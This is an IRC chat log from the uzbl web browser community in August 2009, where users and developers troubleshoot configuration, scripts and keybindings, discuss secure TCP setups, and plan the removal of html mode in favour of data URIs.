14:01 < ruskie> no clue why though
14:01 < mason-l> ruskie, I've actually been working on something tabs-related today.
14:01 < mason-l> ruskie, Maybe Unicode characters?
14:01 < ruskie> doubt it
14:01 < ruskie> because if I reopen it works fine
14:02 < mason-l> I think I silently let uzbl instances sockets fail (afaik) so I might be getting some broken pipes somewhere along the line.
14:02 < mason-l> _Maybe_
14:02 < ruskie> :)
14:02 < DuClare> TCP is only unsecure if the user makes stupid decisions
14:03 < DuClare> Well, depends
14:03 < DuClare> For a single-user desktop machine it's easy to make it secure
14:03 < Dieterbe> isn't this what PAM is for? eg can't you set up a tcp socket and use pam for login stuff
14:05 < DuClare> Dieterbe: Wouldn't that unneccessarily complicate the application that talks to uzbl via tcp?
14:05 < ruskie> yup
14:07 < Dieterbe> well i'm speaking more in general, not just uzbl-who-may-not-need-authentication.   i'm just trying to wrap my head around how one "should" do secure (authenticated) tcp communications. eg socat + ssh or tcp + pam
14:16 < ruskie> socat+ssh imho
14:16 < ruskie> socat to a localhost conection then ssh tunnel that port
14:16 < ruskie> you get both encryption and authentication in one
14:18 < DuClare> I agree
14:18 < lwithers> using gnutls with a pre-shared key (PSK) is pretty easy too
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14:22 < N30N> s/support(.*)$/\1/
14:23 < N30N> ^^ oops that's to greedy innit :)
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14:42 < holizz> FFUZBL is pretty cool.
14:42 < mason-l> FFUZBL?
14:43 < Bram_> holizz: a new clone of uzbl in ruby D: ?
14:43 < holizz> Look on the ML.
14:44 < holizz> Bram_, lol. But that's not a bad idea.
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14:49 < Dieterbe> 14:16:08 < ruskie> socat+ssh imho
14:49 < Dieterbe> 14:16:20 < ruskie> socat to a localhost conection then ssh tunnel that port
14:50 < Dieterbe> doesn't sound bad, but why haven't i never seen setups like this in the wild?
14:50 < ruskie> you do but nobody bothers documenting them
14:50 < ruskie> I know I used socat for similar things
14:52 < Dieterbe> otoh, it gets interesting if you don't want need to encrypt _everything_, but just need strong authentication
14:52 < Dieterbe> then ssh would be a bit overkill
14:55 < Dieterbe> in such cases, plaintext tcp but good encrypted authentication at the beginning would be nice. (eg with pam). ofcourse i'm still speaking generally, not really uzbl specific
14:55 < ruskie> I don't want to see pam anywhere near
14:55 < ruskie> it's a horrible thing
14:56 < Dieterbe> why is that?
14:56 < ruskie> and there is no reason to NOT encrypt everything
14:57 < Dieterbe> performance?
14:57 < mason-l> Dieterbe, Consider wanting to dump the contents of the current page over tcp, encrypted is the only option!
14:57 < Dieterbe> like i said, i'm not talking about uzbl in specific. i'm talking generally.  think of something like mysql or memcached
14:58 < ruskie> encrypted for sure
14:58 < Dieterbe> that would literally kill your performance
14:58 < ruskie> not really
14:58 < ruskie> and depending of course... is this on localhost or actually doing it remotely
14:59 < ruskie> anyway done with work for the day... /me heads off
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15:18 < fumbles> can you set bookmarks with uzbl ?
15:19 < Dieterbe> depends on how you define 'with'
15:20 < mason-l> Dieterbe, Oh you.
15:20 < Tjh_> lol
15:21 < Tjh_> i think there is a script that ships with it and does bookmarks
15:21 < Tjh_> and it reads it from same .local/share/uzbl/bookmarks
15:22 < fumbles> ah ok
15:22 < Tjh_> altho, i always had an issue with it displaying the URL and not the title, or both togther. If i had it display the title then it will try to open the title insteaad of the url etc
15:22 < fumbles> I meant bookmark a page I view in uzbl and be able to access the list of bookmarks
15:22 < fumbles> ugh
15:22 < Tjh_> but dat twas a while bak
15:23 < Dieterbe> fumbles: sure that works
15:28 < fumbles> is the script on the website?
15:29 < Dieterbe>  it comes with the example scripts
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15:29 < fumbles> ah ok
15:29 < fumbles> crap which are where?
15:30 < fumbles> I set my config up from another person's
15:31 < fumbles> nvm I'll man uzbl and see what it says
15:32 < uranther> sup
15:33 < Dieterbe> soup
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15:37 < fumbles> suop
15:53 < fumbles> this is wierd-I installed the dmenu-vertical script for history (as well as dmenu-vertical-yaourt confirms) but when I hit u with uzbl running from terminal it complains about dmenu-vertical not being a command
15:58 < fumbles> any ideas ?
15:59 < Dieterbe> makes sense
16:00 < Dieterbe> dmenu-vertical is still called as `dmenu`, hence all our example scripts call it just like that. dmenu
16:00 < fumbles> I was about to switch it
16:03 < fumbles> ah ok
16:07 < fumbles> it doesn't work quite right-doesn't load history just lets me lauch a url from dmenu
16:09 < fumbles> from a terminal it says: /home/daniel/pi_history.sh: line 3:  : command not found
16:09 < fumbles> /home/daniel/pi_history.sh: line 9:  : command not found
16:09 < fumbles> /home/daniel/pi_history.sh: line 10:  : command not found
16:09 < fumbles> /home/daniel/pi_history.sh: line 15:  : command not found
16:10 < lwithers> fumbles: have you done something silly like cut+pasting of unicode space characters from webpage into script?
16:10 < fumbles> I don't think so
16:12 < fumbles> nope but good grief all the errors I get when I just click on a link..
16:13 < fumbles> http://www.daniel10.com/Home/hub/scripts/pi_history.sh
16:13 < fumbles> for some reason I can't view it...it just gets downloaded
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16:18 < fumbles> looks fine to me
16:19 < lwithers> nope, you've got some weird unicode stuff in there
16:19 < lwithers> run it through hexdump
16:20 < fumbles> hexdump ?
16:21 < lwithers> hexdump -C file
16:21 < lwithers> it shows you each byte in the file, in hex, with an ascii decoding on the right
16:21 < lwithers> you can see there are some non-ascii characters in there
16:21 < lwithers> the first occur on (text) line 3
16:22 < lwithers> 0xC2 0xA0
16:22 < lwithers> it might be a line-ending character or something... not sure
16:24 < lwithers> oh, turns out it's UTF-8 for a non-breaking space
16:25 < lwithers> you should just be able to delete the space characters in a UTF-8-aware text editor
16:27 < uranther> xxd
16:27 < bob_f> Is it possible to die of boredom ?
16:29 < fumbles> hrm no errors in terminal but nothing displaying for a history
16:29 < fumbles> bob_f: yes it is
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17:22 < scj> star wars episode II nearly killed me
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17:32 < uranther> i see what you did there
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18:43 < rob|> so another couple of vb.net ours are over, project finished, time to get back to the only real prog. language..
18:44 < rob|> *hours
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19:11 < uranther> rob|, you code VB.NET at work? :(
19:12 < rob|> well, depends for whom i work. currently i do that, yes
19:14 < uranther> i'm sorry
19:15 < rob|> yeah, i need all compassion that i can get..
19:16 < rob|> c# is sort of an interesting lang, though
19:16 < uranther> yea
19:18 < rob|> stangely enough, physicists seem to have an abnormal addiction to VB an Delphi..
19:19 < ruskie> lol
19:19 < rob|> not sure, why. i guess because they behave like the universe and produce constantly 'expanding' memory footprints..
19:20 < ruskie> or just because it's familiar to what they were thought
19:24 < rob|> well, i like my explanation better ;)
19:26 < rob|> oh that's a nice shot:  http://and1.donnergurgler.net/screenshots/screenshots/uzbl_css.png
19:27 < ruskie> hmm need to start setting up nginx sometime soon
19:27 < bct_> nice 404 page.
19:28 < rob|> hell
19:28 < rob|> oh that's a nice shot:  http://and1.donnergurgler.net/screenshots/uzbl_css.png
19:28 < bct_> seriously though, nice 404 page.
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19:29 < ruskie> hmm /me wonders why everyone is so obssesed with dark on dark themes killer for the eyes
19:29 < bct_> good fonts in the shot though.
19:30 < rob|> good sense for colors&fonts, like that one
19:31 < uranther> rob|, legit
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19:33 < rob|> i need something for copy&paste between win&linux machines over the network, anyone aware of such a thing?
19:34 < rob|> c&p of text would suffice
19:35 < koan> rob|: Synergy
19:36 < koan> lets you share keyboard, mouse and clipboard between windows and linux (and mac) on the same network
19:36 < rob|> aah, thanks for that one looks like it would do exactly what i want
19:37 < Dieterbe> hierse daarse, koan 
19:37 < DuClare> Dark works as long as it's all dark
19:38 < rob|> Dieterbe: god bless you
19:38 < DuClare> When you're forced to see some blinding white pictures and bright gray widgets, ...
19:38 < DuClare> Ugh.
19:38 < koan> hey Dieterbe :)
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19:43 < ruskie> DuClare, my setup isn't blinding white or invisible dark... but somewhere in the middle and works great ;)
19:44 < ruskie> but frankly that screenshot makes my eyes bleed
19:48 < DuClare> It's the contrast
19:48 < DuClare> If all of your screen is dark .. it doesn't hurt.  But usually you can't keep all of it dark because websites and lame applications force their bright colours which appear way too bright when they're among the dark. :x
20:14 < Dieterbe> rob|> oh that's a nice shot:  http://and1.donnergurgler.net/screenshots/uzbl_css.png
20:14 < Dieterbe> beatifull
20:18 < rob|> yeah
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22:55 < opothehippo> Hello
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23:33 < kmq> hi everyone. I want to "bind <space> = scroll_vert 50%", how do I specify this should happen when I press the spacebar?
23:34 < kmq> also: this thing is awesome! A big Thank You to everyone here who helped create this
23:35 < MichaelRaskin> kmq, there is currently no way to bind space
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23:38 < kmq> thanks, I thought I was missing something obvious
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10:12 < rob|3> morning fellow uzblers
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10:13 < Dieterbe> heya
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10:31 < rob|> http://dobbscodetalk.com/index.php?option=com_myblog&show=Accidental-Poet-of-Simplicity.html&Itemid=29
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11:31 < rob|> who wrote the scroll_percentage jscript?
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11:32 < rob|> i'd suggest to make it use a custom uzbl variable instead of status_message
11:34 < scj> it was N30N_
11:35 < rob|> also adding a couple more vars to better control its behaviour would be nice, like scroll_top_color, scroll_bottom_indicator, etc.
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11:40 < rob|> on another note, thinking about the event messages - with this approach it'd be trivial to write an uzbl command 'event' that sends out custom event messages
11:41 < rob|> think about that scroll script, it could just run("event PAGE_SCROLLE Bottom")
11:42 < rob|> not easily possible, if at all, with static handlers
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11:46 < rob|> or a download script that could trigger a custom 'DOWNLOAD_FINISHED' event
11:50 < Dieterbe> hmm you mean having scripts create custom events and then (ab)using uzbl's event system to publish your custom events through it?
11:50 < rob|> so uzbl would be sort of a distributing center that manages and dispatches events, be it its own ones or custom events. this would be so nice for easy message passing between external scripts
11:51 < Dieterbe> that sounds pretty cool
11:51 < rob|> yes, that's what i mean
11:51 < Dieterbe> maybe we should use dbus ;)
11:51 < rob|> you're scaring me ;)
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11:52 < Dieterbe> uzbus
11:52 < Dieterbe> uzblbus?
11:52 < Dieterbe> dbuzbl
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11:53 < rob|> uzbusta
11:54 < rob|> all gangster rappers would use it with that name :P
11:55 < Dieterbe> btw http://dobbscodetalk.com/index.php?option=com_myblog&show=Conversation-with-Anselm-R.-Garbe-of-suckless.org.html&Itemid=29
11:58 < MichaelRaskin> Dieterbe, Unix philosophy has it straight: there are pipes, fifos and sockets, why use DBus?
12:00 < Dieterbe> with pipes/fifos/sockets you cannot do filtering, one-to-many communication etc
12:00 < rob|> hu, how so?
12:01 < Dieterbe> in an easy way i mean, without writing tools around them
12:02 < rob|> well, all you need is some well defined message format then you just use sed, grep, etc.
12:03 < rob|> e.g. mkfifo all_uzbls_out; for i in $COUNT; do uzbl > all_uzbls_out; done
12:03 < rob|> one fifo for n uzbl instances
12:04 < rob|> so basically n <-> n communication
12:05 < rob|> i.e. you can use m scripts to talk to n uzbls, actually m<->n
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12:19 < thorben> which command to toggle those numbered link shortcuts?
12:19 < thorben> those: http://www.uzbl.org/wiki/_media/rob_uzbl001.png
12:24 < rob|> thorben: you use one of default the link followers like: bind f* = script /path/to/follow_Numbers.js %s
12:25 < rob|>  ^^ ...one of the...
12:28 < thorben> rob|: awesome, thanks :)
12:29 < rob|> sure thing..
12:30 < thorben> is there any documentation about this stuff... i get numbered links now, but how to follow them. just typing the number does not work
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12:36 < thorben> ah I see. typing f to see numbers and then entering the corresponding number right away...
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12:44 < MichaelRaskin> Why doesn't uzbl have a hotswap command in default config? Like
12:44 < MichaelRaskin> bind    !hotswap  = chain "sh 'uzbl --uri \"$6\"'" exit
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12:44 < MichaelRaskin> I think it is quite useful for a browser where frequent updates are a norm
12:46 < MichaelRaskin> The window opened by such a command is, obviously, the _currently_ installed version, not the one that was installed when you opened the window
12:48 < rob|> yeah, could be useful
12:56 < MichaelRaskin> Actually, I tested the line I gave
12:56 < MichaelRaskin> So feel free to tune it, but it works as is
12:56 < rob|> talking about the example config:
12:57 < rob|> bind    1         = sh "echo set zoom_level = 1.0 > $4"
12:57 < rob|> bind    2         = sh "echo set zoom_level = 2.0 > $4"
12:57 < rob|> bind    2         = sh "echo set zoom_level = 2.0 > $4"
12:57 < rob|> the bind 1/2 lines are funny
12:57 < rob|> oh, sry
12:58 < rob|> why don't we just do 'bind 1 = set zoom_level = 1.0' ?
12:58 < lwithers> maybe the config file was written before that worked?
12:59 < rob|> no, that used to work since variables where introduced
13:00 < MichaelRaskin> It seems to be a leftover configuration syntax demo
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14:22 < Stargazers> Hi.
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14:25 < Dieterbe> MichaelRaskin> It seems to be a leftover configuration syntax demo
14:25 < Dieterbe> i guess
14:25 < Dieterbe> hi Stargazers 
14:25 < Stargazers> You are here too :)
14:26 < Dieterbe> yep.. surprise ;)
14:26 < Stargazers> Well. Some question. Can I somehow make bindings with Ctrl + somekey, eg. Ctrl + F to move faster screen up/down
14:26 < Stargazers> Jeah :P
14:27 < rob|> yes, in vim: bind <ctrl+v><ctrl+YOUCHAR> =
14:27 < rob|> foo
14:27 < Stargazers> All right, thanks. Let me test it.
14:27 < rob|> i.e. a literal control char
14:28 < rob|> this will work only for control, though
14:29 < Stargazers> Well I need only with Ctrl
14:29 < Stargazers> Btw why ctrl+v also?
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14:30 < rob|> toggling input of ctrl chars
14:30 < rob|> and not interpreting them
14:30 < Stargazers> Mmh, ok. So if I have line: bind <ctrl+v><ctrl+f> = scroll_vert 50 <-- Should that work?
14:30 < rob|> i mean that's needed by vi/your terminal
14:30 < Stargazers> Humm? I put that on my config file.
14:31 < rob|> yes
14:31 < Stargazers> And that should work?
14:31 < rob|> i guess you misunderstood
14:31 < Stargazers> I think so too.
14:31 < Stargazers> Because it does not work atm. :D
14:31 < lwithers> what rob| is trying to tell you is that you need a literal ASCII 6 in your config file
14:32 < rob|> dont type that line literarily into the config but actually hit thos key in <>
14:32 < Stargazers> Oh.
14:32 < Stargazers> Well NOW that works :D
14:32 < Stargazers> Ok, good :)
14:33 < Stargazers> Thank you very much. Now I get it work. Nice.
14:35 < Stargazers> Btw another question about scripts what is in example config binded to F. If I press F I can see red boxes and numbers in it. Anyway, how I can "press them"? If I use fL instead I can make them work, but is there any way to use that F and then number?
14:35 < Stargazers> Just intersted, surely I can bind it to another key
14:36 < rob|> sure 'f' and the number right away
14:37 < Stargazers> Well, if I press F and number 3 in uzbl.org (Community is selected) nothing happens.
14:37 < Stargazers> Text 3 appears on the bottom only.
14:38 < rob|> hit <return>?
14:38 < Stargazers> Tried that also, didn't work
14:38 < Stargazers> But well, I have bind F = script /home/stargazers/.config/uzbl/scripts/hint.js <-- Eg, there is no F* and no %s in the end, hmm.
14:38 < rob|> well, i'd just use follow_Numbers.js which works as expected
14:38 < Stargazers> Jeah, I'm gonna bind that fo f
14:39 < Stargazers> Ach, nice one that :) Just like vimperator.
14:40 < rob|> yeah
14:40 < Stargazers> But now some food. Thank you very much for your help. I am very interested about this project, have to say :)
14:41 < Stargazers> Offtopic: Can I manually set window default size?
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14:41 < Stargazers> Eg. when start uzbl, can I set width and height of window via config or should I make modifications to source.
14:41 < rob|> yes, either by using '--geometry' or 'set geometry = wxh+x+y'
14:42 < Stargazers> Thanks.
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14:43 < rob|> np
14:44 < Dieterbe> rob| is da man :)
14:57 < Stargazers> Tried uzbl --geometry=1024x854
14:57 < Stargazers> But didn't worked?
14:57 < fresch> hm ok, this follow_numbers thingy is nice.. you can use it to jump to input-fields.. but after that the command should be cleared and perhaps the insert-mode should be activated?! now I have to enter "fl<number><esc><i>asdf" or am I missing something here?
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14:59 < Stargazers> ->
14:59 < uranther> yoyoyo
14:59 < Dieterbe> soup
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15:02 < uranther> just got into work.. probably will do nothing today
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16:00 < neut> Hi, does anyone have those forward and back buttons on their mouse? I was just wondering how to get them to work. I've tried modifying the middle_click.js, but e.button is different each time. I haven't used javascript before, am I making a huge schoolboy error?
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16:12 < Stargazers> rob|: Can you give exact example how I can make my window 1024x768 using --geometry or :set geometry?
16:12 < Stargazers> I have tried many variations but still without success :S
16:13 < Dieterbe> Stargazers: which WM are you using?
16:14 < Dieterbe> for me it also doesn't work, which is because i use a tiling WM i believe
16:14 < Stargazers> Gnome.
16:14 < Dieterbe> ah. in gnome it should work
16:14 < Stargazers> Still can't make it work, mm.
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17:30 < N30N_> rob| i'd suggest to make it use a custom uzbl variable instead of status_message <- when I wrote the scroll percentage script custom vars where not supported and when I updated it yesterday I tried using a custom var but if placed in the title it does not get updated apon change, so I left it as status_message.
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18:13 < mipnamic> hi folk
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18:14 < mipnamic> anyone that is using uzbl on a debian based distro?
18:18 < Dieterbe> good evening
18:18 < uranther> mipnamic, there is a howto for ubuntu on the Wiki
18:18 < Dieterbe> and for debian as well
18:18 < uranther> :o
18:18 < mipnamic> thank you both, I'm using easypeasy :)
18:18 < mipnamic> ubuntu for netbook
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18:19 < mipnamic> I always forgot to take a look on the wiki, sorry :(
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18:24 < jelly12gen> wow i just saw uzbl with a downloadbar nice
18:24 < jelly12gen> http://daniel10.com/Home/hub/shots/uzbl_dzen.png
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18:33 < N30N_> Dieterbe: Any chance of removing the html insert mode? It just seeem like bloat to me since the data uri scheme is already available.
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18:33 < N30N_> eg. http://pastebin.com/m623f2b81
18:34 < Dieterbe> why do you need to base64encode it?
18:35 < N30N_> oops, you dont
18:36 < Dieterbe> k
18:36 < Dieterbe> so you could do: echo "uri data:application/xhtml+xml;charset=utf-8; " $(echo $file) | uzbl -c -
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18:37 < Dieterbe> heh, or even echo "uri data:application/xhtml+xml;charset=utf-8; $file" | uzbl -c -
18:38 < N30N_> Dieterbe: yes, but you would need to url escape it
18:40 < Dieterbe> ic
18:41 < Dieterbe> url escaping, is that: for each (hyperlink target); change space to %20 or whatever etc; done ?
18:43 < N30N_> Dieterbe: indeed
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20:11 < rob|> N30N_: re. custom vars, add run("update_gui") after your call to set the var
20:12 < N30N_> rob|: oh right
20:14 < rob|> as suggested yesterday you could also check wether a couple of other vars are set are also set and use them instead of the static "Top", etc. strings
20:15 < rob|> erm:   as suggested yesterday you could also check wether a couple of other vars are set and use them instead of the static "Top", etc. strings
20:15 < rob|> like scroll_top_indicator or scroll_bottom_indicator_color wtc.
20:16 < rob|> if not set use the current defaults
20:18 < rob|> well, the color part is actually not needes as you could do: set scroll_bottom_indicator = <span foreground="yellow"> 100% </span
20:18 < N30N_> rob|: yeah was about to say...
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20:22 < rob|> jelly12gen: lol vpenis. that script should do a sloccount in a definable source folder and also use the project costs for the calculation ;)
20:29 < rob|> N30N_: hmm, good point with removing html mode. what happens if the html document does not contain end tags (</html>, etc.)? how does uzbl decide when the document is ready to render?
20:29 < rob|> also how would you render multiple html documents as a single page with that?
20:30 < rob|> like: curl foo.com bar.net baz.edu | uzblcat | uzbl -c -
20:33 < N30N_> rob|: webkit will treat it like anyother file (eg. if usinging the xhmtl mimetype show a error. if html parse it...)
20:33 < N30N_> rob|: what do you mean by render multiple documents?
20:34 < rob|> see the curl example above, will this still work?
20:35 < N30N_> rob|: yeah you could do that but you have to define the mimetype
20:36 < rob|> hmm
20:36 < rob|> so it would at least take more user work than html mode
20:37 < rob|> well, if we could automate most of that work and just let uzblcat do it i'd be pro removing of html mode
20:39 < N30N_> rob|: yes but in your exable if foo.com gose to a image, xhtml, it's currently going to try to render as html (yuck)
20:39 < rob|> i.e. a transparent solution that does not break already existing scripts that use uzblcat would be perfect
20:40 < N30N_> s/xhtml,/xhtml, etc.. /
20:42 < N30N_> rob|: it'll take 10mins to make a replacement script for uzblcat (i'll do it later if you want)
20:42 < rob|> yeah, that'll be nice
20:45 < rob|> if that proves to work html mode will go
20:53 < jelly12gen> rob|: hi
20:53 < jelly12gen> i saw your download status bar in dzen
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20:57 < rob|> that's a nice script but not mine
20:58 < jelly12gen> hmm
20:58 < jelly12gen> lol
20:58 < jelly12gen> hmm it isnt working atm here :(
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21:17 < ruskie> hmm can anyone access anidb.net using uzbl? they use gzip encoding and it seems it doesn't get gunziped
21:18 < Dieterbe> bad webserver
21:18 < Dieterbe> we tell it we don't support gzip and it gzips anyway
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21:56 < scj> solution: stop watching cartoons
22:09 < ruskie> lol
22:09 < ruskie> that's no solution
22:09 < ruskie> sadly best stuff is in cartoons now-a-days
22:13 < DuClare> 215724  rob|> that's a nice script but not mine, therefore it's not all that nice after all ;]
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22:15 < rob|> i didn't write that :P
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22:56 < N30N_> rob|: is this ok?.. http://www.uzbl.org/wiki/html-mode#uzblcat_replacement
22:57 < N30N_> rob|: it's a bit different as it'll show up in the history. I could use js document.write... if your dont want that
23:01 < MichaelRaskin> I wonder why libsoup handles SSL but not compression
23:02 < rob|> hmm, looks ok and seems to work
23:13 < rob|> would you like to adapt the wiki page after i'll push?
23:16 < N30N_> rob|: you would give me that honour?
23:17 < rob|> hehe
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23:20 < github> uzbl: Robert Manea experimental SHA1-6217ae8
23:20 < github> removed html_mode in favour of "data URI scheme"
23:20 < github> http://bit.ly/unHmQ
23:20 < github> uzbl: Robert Manea experimental SHA1-bf62f55
23:20 < github> remove base_url
23:20 < github> http://bit.ly/SpfyW
23:20 < rob|> N30N_: alright, changes pushed
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23:20 < rob|> N30N_: also replaced uzblcat in the examples with your script
23:21 < N30N_> rob|: k, just posting the scroll script with or poxy idicators...
23:22 < rob|> so another code removal, while still being able to use the functionality - nice!
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23:25 < github> uzbl: Robert Manea experimental SHA1-35c7b6e
23:25 < github> removed unused prototype
23:25 < github> http://bit.ly/5oKeq
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23:41 < juke_> hi
23:43 < juke_> can you scrolldown on http://20minutes.fr with uzbl ?
23:45 < rob|> yes, works as expected
23:45 < N30N_> juke_: yup
23:45 < rob|> mouse and keyboard
23:46 < juke_> with flash plugin ?
23:46 < rob|> yeah
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23:47 < juke_> i can't scroll, i don't know why, maybe the window manager
23:47 < rob|> hmm, might be. i'm using dwm
23:47 < juke_> i use awesome
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23:51 < N30N_> wmii here ;)
23:52 < rob|> cause these suck less ;)
23:53 < N30N_> no sockless jokes? :)
23:54 < alip> did you guys ever considered migrating uzbl configuration to a language like lua?
23:55 < Dieterbe> yes
23:55 < rob|> yeah, we had several discussions here and on the ML about that topic
23:57 < rob|> i guess the conclusion was that not imposing a certain language upon the user is a good thing
23:57 < N30N_> rob|: unless it's python ;)
23:58 < rob|> what, you mean perl? :P
--- Day changed Sat Aug 08 2009
00:00 < N30N_> well as long as it's not lua :)
00:01 < rob|> seriously, when the interface stabilizes we should really consider a programatic API to uzbl so we can easily use bindings to any language
00:03 < Dieterbe> <3 http://www.youtube.com/watch?v=j6CpJ3-BzNA&NR=1
00:11  * Dieterbe diffing exp with master
00:11 < Dieterbe> probably time for a new release
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00:14 < Dieterbe> mason-l: can you summarize the uzbl_tabbed improvements that are merged in my experimental?
00:15 < rob|> from the rfc - The "data:" URL scheme is only useful for short values.
00:18 < Dieterbe> rob|: i see talk_to_socket is in experimental, but it looks like we have no sample cookie daemon to use it with
00:18 < Dieterbe> or should we refer to one on the wiki?
00:20 < rob|> iirc holliz and mason-l where working on it and there's also a usable version somewhere in the depths of github
00:21 < Dieterbe> ah. well if i push this changes to the average joe i want to have an example script where they can find it ;)
00:22 < rob|> sure
00:23 < rob|> i guess they still have some issues to fix before it's ready
00:30 < Dieterbe> good night ladies
00:30 < rob|> night
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00:51 < N30N_> rob|: getting segmentation fault with... echo "uri data:text/html;base64," $(curl "http://www.uzbl.org/" | base64) | uzbl -c -
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00:57 < N30N_> seems like it's todo with the script in that page
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01:04 < lwithers> Dieterbe: you can use the cookie daemon at http://www.lwithers.me.uk/usr/src/cookie-handler/ , it uses libsoup's cookie jar and it works for me
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01:20 < rob|> N30N_: oh, odd
01:33 < N30N_> rob|: yeah, I'm to tired to look at googles obfuscated code. but I'm guessing they'r trying to do somthing funky with the data uri
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04:48 < bittin> Hello somone know how to fix uzbl_tabs.py?
04:49 < bittin> or should i fix it myself after i got some sleep
04:51 < joyfulgirl> bittin: I don't use it, but you'll get more help if you talk about what specific problem you're running into, the date of your latest git pull, etc.
04:52 < bittin> iam just to tired to set it up
04:52 < bittin> so i guess i will fix it later =p
04:52 < joyfulgirl> 'k
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06:27 < wart__> Hi.  New to uzble, but looks cool.  I have set show_status = 1 and a binding to toggle-status but in no case have I ever seen the status bar.  What gives?  (Everything else (bookmarks and so forth) seem to work)
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09:20 < mason-l> wart__, If you hadn't had said your bookmarks work fine then I would have said that uzbl cant find your config file.
09:21 < mason-l> Is it located in ~/.config/uzbl/config
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10:06 < mason-l> Dieterbe, Summary of changes: added on the fly session saving and loading, made uzbl_tabbed.py clean up after itself after being SIGTERM'd or SIGINT'd from the terminal, removed all whitespace in the file, re-factored the fifo creation/opening/unlinking code and using /usr/bin/env python to launch python instead of /usr/bin/python
10:07 < mason-l> to launch uzbl_tabbed.py
10:16 < Dieterbe> thanks
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14:58 < mason-l> Dieterbe, Can you allow me to create pages on the wiki?
14:59 < scj> mason-l: all it takes is to register
14:59 < mason-l> scj, I'm registered I just cant see the "New Page" button.
15:00 < scj> mason-l: there isn't one. you create the link, click it, edit
15:02 < Dieterbe> or go to a non existing page ;)
15:03 < mason-l> Yeah I found the button :P
15:03 < mason-l> It was staring me in the face.
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15:54 < wart__> mason-l: yeah that's the odd thing.  all the other stuff in my config file seem to work fine.  and it is located in the right spot.
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15:54 < wart__> and its just the example config file to boot
15:55 < wart__> aha, i have to do an esc + t to get it to show up
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16:04 < mason-l> Feature request: read commands from stdin so I can run: echo "set uri = uzbl.org" | uzbl
16:05 < Dieterbe> uuuuuuuhhhmmm....
16:05 < Dieterbe> ever tried uzbl -c - ?
16:05 < wart__> hmm, is there a way to have a small dialog or at least a visual of what one is typing on commands like o _ and gg _ .
16:06 < Dieterbe> wart__: you see this in the statusbar or window title (if statusbar is disabled)
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16:10 < N30N> wart__: you can do somthing like: bind x = js Uzbl.run(prompt("Enter command to run:"))
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16:12 < N30N> Dieterbe: I get a libsoup error if I run... cat $XDG_CONFIG_HOME/uzbl/config | uzbl -u "http://www.google.com/" -c -
16:13 < wart__> dieterbe: hmm i don't, but let me enable titlebar.
16:14 < Dieterbe> N30N: hmmmm...
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16:15 < wart__> ah there it is, thanks.
16:16 < Dieterbe> np
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16:16 < wart__> third question: Has anyone had the idea to merge elinks with uzbl?  In particular, create a config with the keybindings of elinks and maybe the UI elements and maybe also have the bookmarks compatible
16:21 < lwithers> it would certainly be possible to share bookmarks, since uzbl uses a script to store them; you'd just need to create a script that used the same format as elinks
16:21 < lwithers> I haven't used elinks enough to say whether the other things would make sense
16:22 < wart__> lwithers: yes about the bookmarks.  i figured there'd be a largish elinks-base in the uzbl community.
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16:41 < mason-l> Hey guys
16:41 < mason-l> Can I get some eyes to look over my wiki page for my cookie_daemon.py http://www.uzbl.org/wiki/cookie_daemon.py
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16:51 < mason-l> Dieterbe, Can you add a link to http://www.uzbl.org/wiki/cookie_daemon.py in your latest announcement http://www.uzbl.org/news.php?id=13
16:51 < mason-l> 'in to your
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17:05 < N30N> Dieterbe: I case you hadn't guess the above libsoup problem only occours when using proxy_url
17:05 < N30N> s/guess/guessed/
17:14 < holizz> mason-l, Nice wiki page.
17:15 < mason-l> holizz, Thanks :)
17:17 < mason-l> <Dieterbe> ever tried uzbl -c - ?
17:17 < mason-l> Forgot about that one :P
17:18 < holizz> mason-l, On the IOError that occurs seemingly randomly, can we just delete the socket, recreate it, and carry on?
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17:19 < mason-l> holizz, Yes, I've just got to try and simulate some broken pipes to test it.
17:19 < mason-l> I think I can put a sleep function in the command parsing code then close the uzbl instance that called it.
17:19 < mason-l> That should break the socket.
17:20 < holizz> It crashed 5 times yesterday. But it hasn't crashed yet today. It's a great bug.
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17:33 < mason-l> Alright I've fixed the custom launcher code on the wiki. Now I'm loading uzbl's config correctly via stdin.
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17:42 < holizz> mason-l, What's up with -d and -n? Just pick a default.
17:43 < mason-l> holizz, Well.. I only put them in there because at the time I didn't have a default.
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17:45 < holizz>   # Set to False by default until talk_to_socket is doing the spawning.
17:45 < holizz>   'daemon_mode': True,
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17:49 < mason-l> Yes, .. theres that too :P
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17:50 < Dieterbe>  mason-l> Dieterbe, Can you add a link to http://www.uzbl.org/wiki/cookie_daemon.py in your latest announcement http://www.uzbl.org/news.php?id=13 -> tell you what. why don't aim to get that merged into the examples dir. then we can use it by default
17:51 < mason-l> ^^ Sounds great, I'll pull it into my experimental so you can grab it off me easily.
17:51 < holizz> I'll let you figure your defaults out. I might add an option to delete the cookies file. That sounds like something I can do and test in 15 minutes.
17:51 < mason-l> Just trying to fix the broken-pipe errors first.
17:52 < mason-l> holizz, Did you see that in the todo section?
17:52 < holizz> Yep.
17:52 < holizz> But wait... surely you could just not save the cookie jar?
17:53 < mason-l> What I had in mind was not to delete the existing cookie jar but create a random file in /tmp/ that becomes the cookie jar for the length of the daemons life.,
17:53 < Dieterbe> holizz> I'll let you figure your defaults out. I might add an option to delete the cookies file. <-- you mean like 'rm' ?
17:53 < mason-l> I.e. the ability to create a completely throwaway-able session.
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17:56 < holizz> mason-l, Yes, but there's no practical difference between doing that and just _not_saving_ the cookie jar... except that the cookie_daemon could be SIGKILLed and the file wouldn't be deleted (an issue if you're using that option for increased privacy).
17:57 < mason-l> Thats why in the create fifo loop I set the permissions of the cookie jar to 600
17:58 < mason-l> And I thought the cookie_jar automatically saves? is there an option to tell to save to ram only?
17:58 < mason-l> 'to tell it
17:59 < holizz> I think it only saves when you call save(). And if the process is going to be alive as long as the file, it doesn't need to touch the disk.
17:59 < mason-l> Ohhhh!
18:00 < mason-l> Yeah, good idea :P
18:00 < holizz> There we go.
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18:05 < Dieterbe> holizz: maybe i'm missing something, but isn't what you want the same as not using a cookie handler at all? then you fall back to webkits' built in cookie stuff which is also not persistent.  ah no wait i think i can answer my own question. with your approach you can use the same handler for multiple uzbl instances, with mine you can't
18:06 < holizz> Correct.
18:06 < Dieterbe> :)
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18:08 < holizz> Gosh, #uzbl is full of noobs today.
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18:09 < Dieterbe> true. everyone who is not using uzbl for at least 3 months is a noob
18:09 < Dieterbe> and plenty of those ;)
18:10 < holizz> Let me just check to see when I started using it.
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18:11 < holizz> 2009-06-01. Damn.
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18:11 < holizz> "Just discovered a Web browser called Uzbl (uzbl.org). Webkit-based and has very little chrome. I like it already."
18:12 < Dieterbe> ha! you noob :)
